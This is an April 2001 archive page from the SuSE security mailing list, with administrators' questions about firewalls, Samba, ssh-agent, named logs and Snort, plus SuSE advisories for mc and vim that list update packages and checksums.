April 2001 - openSUSE Security - openSUSE Mailing Lists

Re: Samba on firewall
by office 17 Apr '01

17 Apr '01

>Correct me if I'm wrong, but don't you need the broadcast address 200.1.1.255 for the udp ports? >Try opening up only this address for port 137 and 138 and everything should work. >(Not tested, actually I'm out of reach of a system to test it.) >HTH >Ralf JOUUUU!!!! man it works i cant believe it! Thanxs a lot for your help!!! yours B

1 0

samba on firewall
by office 17 Apr '01

17 Apr '01

Hello list! Why does samba on the firewall don't work whitout this rule??? IPCHAINS -A input -j "$ACCEPT" -p udp -d 0/0 137:138 $LAA When appending this rule, everybody can send UPD packets to 137:138. I've tried to open tcp 135:139 and udp 135:139 only for internal network but it doesn't work...clients cant use samba any hints? yours B

2 1

Named attack ?
by rei＠sco.mpc-group.com 17 Apr '01

17 Apr '01

Hello List, I have found the follow entry in my logfile: Apr 17 11:59:41 server named[135]: wrong ans. name (\00268\00284\003194\007in-addr\004arpa\000\000\012\000\001\192\015\000\012\000\001\000\001Q\128\000\020\006cerber\003int.rual.ru != 133.68.84.194.in-addr.arpa) Apr 17 11:59:41 server named[135]: Malformed response from [194.84.68.133].53 (out of data in final pass) Apr 17 11:59:41 server named[135]: wrong ans. name (\00268\00284\003194\007in-addr\004arpa\000\000\012\000\001\192\015\000\012\000\001\000\001Q\128\000\020\006cerber\003int.rual.ru != 133.68.84.194.in-addr.arpa) is this an attack ? Are we compromised ? Named Version: named 8.2.3-REL Tue Jan 30 16:29:00 GMT 2001 from SuSE. regards Flori

1 0

Intenetradio
by Calmano, Juergen 17 Apr '01

17 Apr '01

Hello, How can i block RealPlayer (G2, 8.0 or older) or Windows Media Player (7.0 or older) with my ipchains-Firewall or with a squid-Proxy. I blocked the Port 1755 but this didn't work correctly because the Media-Player tries to connect via Port 80 if he can't connect the standart port 1755. In the RealPlayer options menue the user can change the port (tcp or udp) manually. Is there any chance to block it with the squid or the ipchains? thanks and have a nice day Juergen Calmano orgafactory gmbh System Engineering z.H.Jürgen Calmano Hügelstraße 8 60435 Frankfurt am Main Telefon (0 69) 90 54 66 11 Telefax (0 69) 90 54 66 13 mailto:j.calmano@orgafactory.de

2 1

Kernelpatches
by Gerd Bitzer 17 Apr '01

17 Apr '01

Hi all, has anybody heard about the kernelpatches standing on http://www.innu.org/~sean/ ? Sounds interesting. Has anybody some experience with this patches ?

1 0

ssh-agent
by Ashley 17 Apr '01

17 Apr '01

I'm trying to learn the use of ssh-agent. Why don't the environment vars SSH_AGENT_PID, SSH_AUTH_SOCK get set? I run ssh-agent and get: ashley@myhost:~ > ssh-agent SSH_AUTH_SOCK=/tmp/ssh-XXap8e9I/agent.27104; export SSH_AUTH_SOCK; SSH_AGENT_PID=27105; export SSH_AGENT_PID; echo Agent pid 27105; I check the pid: ashley@myhost:~ > ps aux . . ashley 27105 0.0 0.0 1628 636 ? S 10:56 0:00 ssh-agent ashley 27106 0.0 0.0 2420 724 pts/2 R 10:57 0:00 ps aux But the environment vars are not available: ashley@myhost:~ > echo $SSH_AGENT_PID ashley@myhost:~ > ssh-agent -k SSH_AGENT_PID not set, cannot kill agent If I set them by hand all is well: ashley@myhost:~ > SSH_AGENT_PID=27105 ashley@myhost:~ > export $SSH_AGENT_PID ashley@myhost:~ > echo $SSH_AGENT_PID 27105 ashley@myhost:~ > ssh-agent -k unset SSH_AUTH_SOCK; unset SSH_AGENT_PID; echo Agent pid 27105 killed; If I select the output of ssh-agent with the mouse and execute it, everything is fine. How can I get ssh-agent to do this by itself? I tried this : ashley@myhost:~ > ssh-agent |bash -x + SSH_AUTH_SOCK=/tmp/ssh-XXAv2eMv/agent.27247 + export SSH_AUTH_SOCK + SSH_AGENT_PID=27249 + export SSH_AGENT_PID + echo Agent pid 27249 Agent pid 27249 ashley@myhost:~ > echo $SSH_AGENT_PID ashley@myhost:~ > Oh,well. I'm obviously missing something. It seems to me that a 558 page O'Reilly bood may be overkill, but the manpages alone aren't enough for some of us slow ones. -- -ashley One of these days I'm going to completely organize my life.

6 7

ssh question about security
by Mark Condic 16 Apr '01

16 Apr '01

I have router and a home network. If I use ssh to access my 6.4 SuSE linux box with an external address, the messages log is ok. If I use ssh to access the Linux box from with in the network, I get the following message in /var/log/messages: Apr 16 00:40:29 linux166 sshd[282]: log: Address 192.168.1.100 maps to delltower, but this does not map back to the address - POSSIBLE BREAKIN ATTEMPT! I have the following entry in the /etc/hosts: 192.168.1.100 delltower Can anyone help me understand how this does not map back works, or a way to fix it so I don't get this breakin attempt. That way a real breakin attempt will catch my attention. Thanks Mark Condic

2 1

Snort with dial-on-demand
by Mark Lutz 15 Apr '01

15 Apr '01

I would like to use snort <http://www.snort.org/> as an intrusion detections system (IDS) an my dial-up PC. Internet <-> ISP <-> ISDN (ippp0) PC1 (eth0) <-> (eth0) PC2 As soon as I dial-up, I will get an dynamically assigned IP address, e.g. 213.54.32.190. So the above example could have the following IP addresses: IN <-> 212.122.151.50 <-> 213.54.32.190 (ipp0 local IP address) 192.168.17.1 (eth0) <-> 192.168.17.2 ISP PC1 PC2 I only want to use the IDS when I'm online. So I thought I could just add a call to "rcsnort" in /etc/ppp/ip-up ip-up) /usr/sbin/rcsnort start ;; ip-down) /usr/sbin/rcsnort stop ;; Depending on my /etc/rc.config, snort will get started like that: /usr/sbin/snort -D -i ippp0 -c /etc/snort/snort.conf Note that it uses the ISDN interface (ippp0) 1. Do I have to use "ippp0" or "eth0"? I guess, I can't put an ISDN card in promiscous mode, can I? The Snort FAQ states the following: | Q: IP address is assigned dynamically to my interface, can I use | snort with it? | | A: Yes. With snort 1.7 and later, <interface>_ADDRESS variable is | available. | The value of this variable will be always set to IP | address/Netmask of the interface which you run snort at. if | interface goes down and up again (and an IP address is | reassigned) you will have to restart snort. For earlier | versions of snort numerous scripts to achieve the same result | are available. 2. How/where do I use this variable? I read the FAQ and some READMEs but still can't find the answers to my questions. I would really like to use snort, since tests on my local network (eth0) with snort and ACID (PHP bases analysis engine) run smoothly. Mark PS: There is an article about IDS systems (and especially Snort) in the German computer magazine c't 8/01.

3 2

HArdenSuSE for 7.1???
by Geordon VanTassle 15 Apr '01

15 Apr '01

Ok, did I just miss it or something? I was looking for HARDENSUSE on my CD-ROMs for 7.1 but don't see it there. Any help, folks? TIA, Geordon

5 8

Re: [suse-security] Re: ssh-agent
by Togan Muftuoglu 14 Apr '01

14 Apr '01

On Sat, Apr 14, 2001 at 01:36:53AM -0700, Ashley wrote: > > We have different man pages. I'm running openssh 2.3.0p1 that ships with > SuSE 7.1. My man page looks like this: > > > SSH-AGENT(1) System Reference Manual SSH-AGENT(1) > > NAME > ssh-agent - authentication agent > > SYNOPSIS > ssh-agent [-c | -s] [-k] [command [args ...]] > > > I am still culpable of lameness, however. For later it says: > > > 'Evalled' to my ears sounds like the name of a kingdom from a Swords and > Scorcery novel. What is so blasphemous about including a few usage examples > in man pages? > from /usr/share/doc/packages/openssh/README.SuSE The OpenSSH handling of ssh-add/ssh-askpass is solved differently then for the ssh-2.x version. You don't need to call ssh-askpass any longer. If ssh-add is called and doesn't have a real TTY, it will launch /usr/lib/ssh/ssh-askpass itself. Make sure that the DISPLAY variable is always set correctly. A good way to start ssh-add if you always use a graphical login is to add the following lines to .xinitrc: eval `ssh-agent` ssh-add HTH -- Togan Muftuoglu

1 0

Re: AW: [suse-security] HArdenSuSE for 7.1???
by Sven Michels 14 Apr '01

14 Apr '01

Hi, first another mail: > # Harden SuSE Linux 6.0 - 7.1, Perl Script by Marc Heuse <marc(a)suse.de> # > ^^^^^there we got it !! It *DOES* support SuSE Linux 7.1 :-)))) jup, marc announced it about ~1 week ago on the list. > ATTENTION: there seems to be a possible bug (or did i misconfigure > harden_suse)?? > After running harden_suse no remote login to my machine was possible. The > fault can be found in /etc/hosts.deny > > cat /etc/hosts.deny > ALL: ALL EXCEPT localhost > ^^^^^^ *UNCOMMENT* this entry, otherwise it won't be possible to log in > using ssh or telnet this is imho a bad idea. harden_suse should _harden_ a suse box. This means to secure this box a little bit more. The way you should go is to permit what itsn't espeacialy allowed. So just add a sshd : yourremotehost : ALLOW to the /etc/hosts.allow to login remote to the box. This protects you a little bit against buffer overflows in deamons. If you check some security archives you'll find an exploit against sshd. But this doesn't work if you protect your sshd via tcpd wrapper ;-) regards -- intraDAT AG http://www.intradat.com

1 0

Bind again
by Hipolito A. Gonzalez M. 14 Apr '01

14 Apr '01

I put the bind in extended loged and nothing bad appear. Nobody is doing transfer but the bind shutdown sometimes. I not only the person with this problem. What's happening? I think that another person here too is with this problem, who is working in the bind in suse? Help me. Thank you

2 1

Samba
by office 14 Apr '01

14 Apr '01

Hello, why is UDP-port 138:139 visible for the world when running SuSEfirewall? How can i prevent this? cu

2 1

Re: [suse-security] trojan question
by Harold ! 13 Apr '01

13 Apr '01

Currently IP-MasQ As I am on a dial-up and only have one external (dymanically assigned IP addy) THe server that actas as proxy is still running drake 7.2 but will be migrated to SuSE shortly. If ya diecide to use IP masq there's a wonderful little utility available to guides you through setup called pm firewall. Lemme know if yacan't find It as I' can email it to ya. Harold >From: Ashley <ashleyg(a)dnai.com> >To: suse-security(a)suse.com >Subject: Re: [suse-security] trojan question >Date: Thu, 12 Apr 2001 15:04:22 -0700 >MIME-Version: 1.0 >Received: from [202.58.118.3] by hotmail.com (3.2) with ESMTP id >MHotMailBC9FE20B007F4004325BCA3A7603127F0; Thu Apr 12 23:04:59 2001 >Received: (qmail 16912 invoked by alias); 13 Apr 2001 06:04:35 -0000 >Received: (qmail 16905 invoked from network); 13 Apr 2001 06:04:35 -0000 >From suse-security-return-6637-ambrosius1972 Thu Apr 12 23:05:52 2001 >Mailing-List: contact suse-security-help(a)suse.com; run by ezmlm >Precedence: bulk >X-No-Archive: yes >list-help: <mailto:suse-security-help@lists.suse.com> >list-unsubscribe: <mailto:suse-security-unsubscribe@lists.suse.com> >list-post: <mailto:suse-security@suse.com> >X-Mailinglist: suse-security >Delivered-To: mailing list suse-security(a)lists.suse.com >Message-ID: <20010412150421.A23452(a)rose.ashnet> >Mail-Followup-To: suse-security(a)suse.com >References: <000001c0c350$c4dc0f10$b400000a(a)host.belfin.com> ><00d501c0c3a0$738a48c0$3200030a(a)seifried.org> >User-Agent: Mutt/1.3.12i >In-Reply-To: <00d501c0c3a0$738a48c0$3200030a(a)seifried.org>; from >listuser(a)seifried.org on Thu, Apr 12, 2001 at 04:32:25PM -0600 > > > >I'm starting to explore proxies. I'm curious which application level >proxies >you are using. > > > > >On Thu, Apr 12, 2001 at 04:32:25PM -0600, Kurt Seifried wrote: > > Simple: > > > > If your firewall is like mine then only packets going out to port 25, >port 80, > > etc are allowed, thus a trojan is less likely to be able to connect out >(since > > they use ports like 31337 and so on). Plus since my firewall runs >application > > level proxies for www/ftp, email, etc about the only protocol I allow my > > internal machines to do outbound is 22 (ssh), which makes keeping tabs >on what > > is going on very easy. > > > > > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > > For additional commands, e-mail: suse-security-help(a)suse.com > > > >-- >-ashley > > One of these days I'm going to completely organize my life. > >--------------------------------------------------------------------- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com

1 0

ssh/rsync
by Ashley 12 Apr '01

12 Apr '01

I finally got bugzilla working at my job. I had to learn about mysql and apache to get anywhere, so it took me days. I'm working now on backup for the bugs database. I would like set up a cron job to use rsync over ssh to backup a dump of the bugs database to a backup host. What I don't understand is how to deal with passphases in a shell script. Or is there a better way to go about this? Any ideas? -- -ashley One of these days I'm going to completely organize my life.

5 4

trojan question
by Philipp Snizek 12 Apr '01

12 Apr '01

Hi list users, who synchronizes with whom? the trojan client with the trojan server or the server with the client? I'd say since it must be analogue to all tcp connections the client syncs with the server, but I'm not sure whether it really works like this in the special (?) trojan case. I do not have enough background information to be sure. I already checked O'Reilly's Building internet firewalls but I cannot find there anthing covering this topic. thanx in advance Philipp

6 10

Current ftpd "glob" vulnerability
by Lutz Jaenicke 12 Apr '01

12 Apr '01

Hi! it seems the security people must work 24/7 these days. Yesterday http://www.cert.org/advisories/CA-2001-07.html was published with respect to a "glob" vulnerability in ftpd. While the *BSD people already made some announcements, SuSE did not send out an announcement, yet. (Nothing popped up at wu-ftpd.org, too) For the ntp-vulnerability at least a "shut id down alert" was sent out soon. Therefore I decided to play safe and disabled ftpd yesterday evening... Best regards, Lutz -- Lutz Jaenicke Lutz.Jaenicke(a)aet.TU-Cottbus.DE BTU Cottbus http://www.aet.TU-Cottbus.DE/personen/jaenicke/ Lehrstuhl Allgemeine Elektrotechnik Tel. +49 355 69-4129 Universitaetsplatz 3-4, D-03044 Cottbus Fax. +49 355 69-4153

6 8

Port-Scans
by Dominic Burger 12 Apr '01

12 Apr '01

Hallo Liste, da ich in der letzten Zeit vermehrt in dieser Liste gelesen habe, daß es häufig zu Port-Scans bei neu entdeckten Bugs in div. Software kommt, möchte ich auf meinem LinuxRechner(SuSE 6.4, Server im LAN, Gateway zum I-Net) per ipchains die gefährdeten Ports blocken; außerdem soll das System immun gegen BO2K,... Attacken sein. Wo finde ich eine Sammlung oder Literatur darüber, um welche Ports es ich bei BO2K... handelt, wo darüber, welche Bugs welche Ports unsicher machen ? (in /etc/services und /etc/protocols habe ich schon nachlesen, aber es gibt ja immer neue Bugs und BO2K-Abkömmlinge) Vielen Dank für eure Bemühungen Dominic Burger

7 7

Re: [suse-security] SuSE Security Announcement: vim/gvim (SuSE-SA :2001:12)
by r.maurizzi＠gvs.it 12 Apr '01

12 Apr '01

> Now this is funny (well, not really) > I would expect that YOU (Yast Online Update) would find this security > update (as well as the previously posted xntpd, mc &c &c) but it doesn't. Well, mine found the updated list, and downloaded the packages for mc and vim. It wasn't able to DL the xntpd update however, Y.O.U. got a "file not found" error. Which ftp server did you use? I had to use ftp.suse.com because on th others all I got was "file not found" errors for either the update list or the packages... Maybe the mirrors still have to syncronize themselves, with the exception of xntpd (that's NOT available even on ftp.suse.com) Ciao, Roberto.

4 4

RE: [suse-security] blackjack
by Nisbach, Thomas 12 Apr '01

12 Apr '01

Just one remark: If you want to know which process made network-connections, try 'netstat -ap'. You must be root to use the option '-p'. It's a relatively new feature. Thomas

1 0

Problems with smb create mode
by rene.marhold 12 Apr '01

12 Apr '01

Hi there I have some troubles with the smb command create mode how to create an file with smb with the rights (unix 755) i tried it with (samba 0755) but then i always get rwxrw-rw- the . directory has rights 777 there should be no problem with general rights is there an bug, or is there another syntax, the command directory create mode is functioning there if i enter the rights 0755 the directory witch is created really has rwxr-xr-x Thx DJMAD

1 0

SuSE Security Announcement: mc (SuSE-SA:2001:11)
by Thomas Biege 12 Apr '01

12 Apr '01

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: mc Announcement-ID: SuSE-SA:2001:11 Date: Tuesday, April 10th, 2001 15.21 MEST Affected SuSE versions: 6.1, 6.2, 6.3, 6.4, 7.0, 7.1 Vulnerability Type: local privilege escalation Severity (1-10): 4 SuSE default package: no Other affected systems: all system using mc Content of this advisory: 1) security vulnerability resolved: mc problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information The Midnight Commander, mc(1), is a ncurses-based file manager. A local attacker could trick mc(1) into executing commands with the privileges of the user running mc(1) by creating malicious directory names. This attack leads to local privilege escalation. There does no workaround exist. The only solution is to update the mc package. Download the update package from locations desribed below and install the package with the command `rpm -Uhv file.rpm'. The md5sum for each file is in the line below. You can verify the integrity of the rpm files using the command `rpm --checksig --nogpg file.rpm', independently from the md5 signatures below. i386 Intel Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/i386/update/7.1/ap1/mc-4.5.51-1.i386.rpm c1eb197dff39e61065c498fa91347836 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/mc-4.5.51-1.src.rpm cb768e70eacbf622464a71d8b5983769 SuSE-7.0 ftp://ftp.suse.com/pub/suse/i386/update/7.0/ap1/mc-4.5.50-1.i386.rpm 2770c2df6acd3e3ec8d9195e689aa037 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/mc-4.5.50-1.src.rpm 579a86de5c2a14e61d0b6097611fdfb7 SuSE-6.4 ftp://ftp.suse.com/pub/suse/i386/update/6.4/ap1/mc-4.5.42-47.i386.rpm c16569cbbeb1d42823c1b6abdd61c03e source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/mc-4.5.42-47.src.rpm d30069c9d3bf76b6f90d11b6cff86133 SuSE-6.3 ftp://ftp.suse.com/pub/suse/i386/update/6.3/ap1/mc-4.5.40-3.i386.rpm 655a6cac8bdb49789ee55c3bdc38e104 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/mc-4.5.40-3.src.rpm 969a5f5427e04ea2710516ae3b9360c6 SuSE-6.2 ftp://ftp.suse.com/pub/suse/i386/update/6.2/ap1/mc-4.5.37-20.i386.rpm c6cf641cd54c976df4f64a0fa1263d65 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/mc-4.5.37-20.src.rpm ccdd4d9e727edc45c610013f69af9c86 SuSE-6.1 ftp://ftp.suse.com/pub/suse/i386/update/6.1/ap1/mc-4.5.33-1.i386.rpm 2dd900869259558ef6ad9b16e056322d source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/mc-4.5.33-1.src.rpm 10c3a9ae63cbd8e43923f9245bba166c Sparc Platform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/ap1/mc-4.5.50-1.sparc.rpm 16fab4824da5347fe243bfd8a3196a02 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/mc-4.5.50-1.src.rpm f8a51dd5975e6c1c34492f1fae6c66c7 AXP Alpha Platform: SuSE-6.4 ftp://ftp.suse.com/pub/suse/axp/update/6.4/ap1/mc-4.5.42-47.alpha.rpm dd80759475ca682a421cdd7dff4c6539 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/mc-4.5.42-47.src.rpm 1d98da3743c951003b99bf8b88b577f1 SuSE-6.3 ftp://ftp.suse.com/pub/suse/axp/update/6.3/ap1/mc-4.5.40-1.alpha.rpm 31a77b496e6c4185b0d9dd50336fb238 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/mc-4.5.40-1.src.rpm dae662f3de8f42590feb62e1dc3abce8 SuSE-6.1 ftp://ftp.suse.com/pub/suse/axp/update/6.1/ap1/mc-4.5.33-14.alpha.rpm 58906f33013bc64cc090ed56c05ab6d7 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/mc-4.5.33-14.src.rpm 32727c15d6df11ceaa07afbd67b96b64 PPC PowerPC Platform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/ap1/mc-4.5.50-1.ppc.rpm 0f17db922b03ee5db09e46311b5c1096 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/mc-4.5.50-1.src.rpm aa1d77e05edd2b6097896be3bc3433d2 SuSE-6.4 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/ap1/mc-4.5.42-47.ppc.rpm 018dbd5d4f7ed760e5fcfe22bceee016 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/mc-4.5.42-47.src.rpm e56125ce9edd85accd1ea2830e578504 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - We are in the process of preparing update packages for the man package which has been found vulnerable to a commandline format string bug. The man command is installed suid man on SuSE systems. When exploited, the bug can be used to install a different man binary to introduce a trojan into the system. As an interim workaround, we recommend to `chmod -s /usr/bin/man´ and ignore the warnings and errors when viewing manpages. - Two bugs were found in the text editor vim. These bugs are currently being fixed. - A bufferoverflow in sudo was discovered and fixed RPMs will be available as soon as possible. A exploit was not made public until now. - NEdit a GUI-style text editor needs an update due to a tmp race condition. The source code is currently being reviewed and new RPMs will be available within the next days. ______________________________________________________________________________ 3) standard appendix: SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. =============================================== SuSE's security contact is <security(a)suse.com>. =============================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBOtMMnHey5gA9JdPZAQGAxAgAnwW45oAtOGMOySwqVdhKwqIrN/7FOEED 3FvQtMrLlICwAqD/DaS35qQs2IqIWfVtAm/bRoLlNwAkizmu4P2InskvNBXO9YuS YdbntegiAdmX/7P55/9xBdOZub4PRi5jk7MWRJd//VWaumgx4RZHWnVvtI2eSWKT xc6yBgxPfTlQQxp8mh3oUbAgkUf3kfE2CuSs7NXk7dV0xoenjfObt/3SPlHEBaRw ASFDcXk8PiRPAM1KhtzkKQqGYDijDGfzXJ65pU2dm5mqUa2hwJrVFtLfMwPD7nYP 9Bvk4ym0iXQ3LNIQgYFgTcCuM4W4BV1IB4YeHyorDsOwbl2K7QggkQ== =IWSy -----END PGP SIGNATURE----- Bye, Thomas -- Thomas Biege, SuSE GmbH, Schanzaeckerstr. 10, 90443 Nuernberg E@mail: thomas(a)suse.de Function: Security Support & Auditing "lynx -source http://www.suse.de/~thomas/thomas.pgp | pgp -fka" Key fingerprint = 09 48 F2 FD 81 F7 E7 98 6D C7 36 F1 96 6A 12 47

2 3

passwd
by webmaster 12 Apr '01

12 Apr '01

please, what to do if passwd gets a response "Module is unknown"

1 0

Re: [suse-security] blackjack
by Chuck Bryant 11 Apr '01

11 Apr '01

squid just grabbed the next available port /etc/services says it is blackjack you may disregard it >>> "Frank Lederer" <lederer(a)ctfrankfurt.de> 04/11/01 11:32AM >>> Hello list, netstat -ap . . tcp 0 0 localhost:1024 localhost:blackjack ESTABLISHED 321/(dnsserver) tcp 0 0 localhost:blackjack localhost:1024 ESTABLISHED 319/(squid) . . what the hell does "blackjack" mean?!? Thanx Frank

1 0

openssh-update?
by Frank Steiner 11 Apr '01

11 Apr '01

Hi, any news on the release date for the openssh-2.5.2 rpms? After reading bugtraq I do consider this a security update, so I would be happy to get hands on the new rpms (but couldn't even see them on the ftp server, for 6.4) :-) Best regards, Frank

1 0

OT: amavis-perl-11 / amavisd-snapshot-20010407 released
by Rainer Link 11 Apr '01

11 Apr '01

Hi! Just as a short note: a new release of amavis-perl and a first snapshot of amavisd (amavis-perl running as daemon) are out :-) See www.amavis.org for release details and grab the source tarballs from there. If you're using SuSE 7.1 and want to play with some rpm's please have a look at ftp://ftp.suse.com/pub/people/link/amavis/SuSE/7.1/ (see INSTALL.TXT for some installation instructions). Both use the sendmail libmilter interface. As ppl keep asking me for content filtering: neither amavis-perl-11 nor amavisd-snapshot provide this - there was some discussion about it in our internal developer ML and our amavis-user ML. As I said, amavis 0.2.2 will provide some kind of content filtering. If you want to have a look at it you may grab some alpha-release at ftp://ftp.suse.com/pub/people/link/amavis/ - don't run this on a production maschine! I haven't worked on this since a month now because of some other stuff (amavis-perl/amavisd has had and still has a much higher priority). In general I recommend to use amavis-perl (or amavisd) as it's in most cases faster (esp. amavisd). *Please* send bugreports and so on regarding those rpm's directly to me. General questions about amavis should be send to amavis-user (please *not* to suse-security), see www.amavis.org for an subscription details. Thank you. Have fun :-) best regards, Rainer Link -- Rainer Link | SuSE - The Linux Experts link(a)suse.de | Developer of A Mail Virus Scanner (amavis.org) www.suse.de | Founder OpenAntiVirus Project (www.openantivirus.org)

1 0

kernel upgrade and traffix shaper
by stephane parenton 11 Apr '01

11 Apr '01

hi everyone, I was lurking for a short while, and I have a problem... I read more often that older kernels are to be upgraded for security reasons.... I'm allright with that :)) I downloaded the 2.4 kernel k_deflt_24-2.4.2-4.i386.rpm from the suse ftp. the box I'll upgrade the kernel is off line, it is supposed to replace an older box... so I don't have problem with breaking anything or stopping this and this...). first of all, i have an error message, but I will try to download the rpm again before to say anything... i just have a message "error: k_def...rpm cannot be installed"... the box is firewall/nat/dns, and I wanted to shape the traffic so our users won't down our bw... but as I'm not very easy (not easy at all...to be frank) at writing ipchains, I was wondering what problem i could face with new kernels... what would be the impacts, and if there were docs, or even updated howtos that dealt with this shaping/ipchains problems Regards stephane

1 0

ICQ over Linux firewall with ipchains
by Karlheinz Blank 11 Apr '01

11 Apr '01

Hello, We have set up a Linux firewall with kernel 2.2.16 and ipchains. While everthing else works fine, we have problems to establish a client-client connection between iqc2k clients (i.e. for chat requests). Is there a known solution for this? We already looked at the icq module for ipchains, but that does not work for icq2k. Setting up socks instead of ipchains is also not an option in our opinion. Any help is very much appreciated!!! Thanx in advance, Charlie & Dirk

3 2

unable to remove bind
by E-Lists 10 Apr '01

10 Apr '01

hello! I'm having this problem, i can´t remove bind (named) from my linux box, the massage says that i can't do an unlink of it. I'm working as superuser. Can anyone help me ?

2 1

SuSE Security Announcement: vim/gvim (SuSE-SA:2001:12)
by Thomas Biege 10 Apr '01

10 Apr '01

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: vim/gvim Announcement-ID: SuSE-SA:2001:12 Date: Tuesday, April 10th, 2001 15.23 MEST Affected SuSE versions: 6.1, 6.2, 6.3, 6.4, 7.0, 7.1 Vulnerability Type: local privilege escalation Severity (1-10): 5 SuSE default package: yes Other affected systems: all system using vim/gvim Content of this advisory: 1) security vulnerability resolved: vim/gvim problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information The text editor vim, Vi IMproved, was found vulnerable to two security bugs. 1.) a tmp race condition 2.) vim commands in regular files will be executed if the status line of vim is enabled in vimrc Both vulnerabilities could be used to gain unauthorized access to more privileges. Download the update package from locations desribed below and install the package with the command `rpm -Uhv file.rpm'. The md5sum for each file is in the line below. You can verify the integrity of the rpm files using the command `rpm --checksig --nogpg file.rpm', independently from the md5 signatures below. vim: ---- i386 Intel Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/i386/update/7.1/a1/vim-5.7-71.i386.rpm db368baa134c23b3578c8022a66d2703 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/vim-5.7-71.src.rpm 00cf66142e477e24824410c8bf9e8702 SuSE-7.0 ftp://ftp.suse.com/pub/suse/i386/update/7.0/a1/vim-5.7-73.i386.rpm 3a35734d8737c4f1e97ca9a6c1f68073 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/vim-5.7-73.src.rpm 6275c8d938a7254e648ba33765613573 SuSE-6.4 ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/vim-5.7-72.i386.rpm 7db6e43273fcfccf0f019246ba43fd05 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/vim-5.7-72.src.rpm f2d7177a61b1794068412ea687b9ecf6 SuSE-6.3 ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/vim-5.7-72.i386.rpm c12a03ff18235ea3421b18c48d6448af source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/vim-5.7-72.src.rpm b6e46176215691fc398fc6184e437a36 SuSE-6.2 ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/vim-5.7-71.i386.rpm a9f2154d991f9eb848dff3ffa1dcf430 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/vim-5.7-71.src.rpm 8e554dbfe786562204039358df810984 SuSE-6.1 ftp://ftp.suse.com/pub/suse/i386/update/6.1/a1/vim-5.7-72.i386.rpm fcef6ade53f01ffe4cd8a7b8c033e176 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/vim-5.7-72.src.rpm e3d554b1354208ca6175c4757bab0373 Sparc Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/a1/vim-5.7-54.sparc.rpm 6746fc4eafc91ba5fa6d6377f22efdbd source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/vim-5.7-54.src.rpm de427c49af200e5fefa62a39959eaaaf SuSE-7.0 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/a1/vim-5.7-54.sparc.rpm 7648859cc6a584ce1a2715cf7bc34bdc source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/vim-5.7-54.src.rpm 934385ba01d59fc7bdd1bbaeca0cf260 AXP Alpha Platform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/axp/update/7.0/a1/vim-5.7-57.alpha.rpm ebe9dfc83dd1294b83d6b3aaad92fca0 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/vim-5.7-57.src.rpm 038ab54d8a08f96b61118373f5e00948 SuSE-6.4 ftp://ftp.suse.com/pub/suse/axp/update/6.4/a1/vim-5.7-57.alpha.rpm 24d5f1365522d267650be44f80ab0b52 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/vim-5.7-57.src.rpm 0a7a5bbde8e645254f4a5bd6cd402943 SuSE-6.3 ftp://ftp.suse.com/pub/suse/axp/update/6.3/a1/vim-5.7-57.alpha.rpm 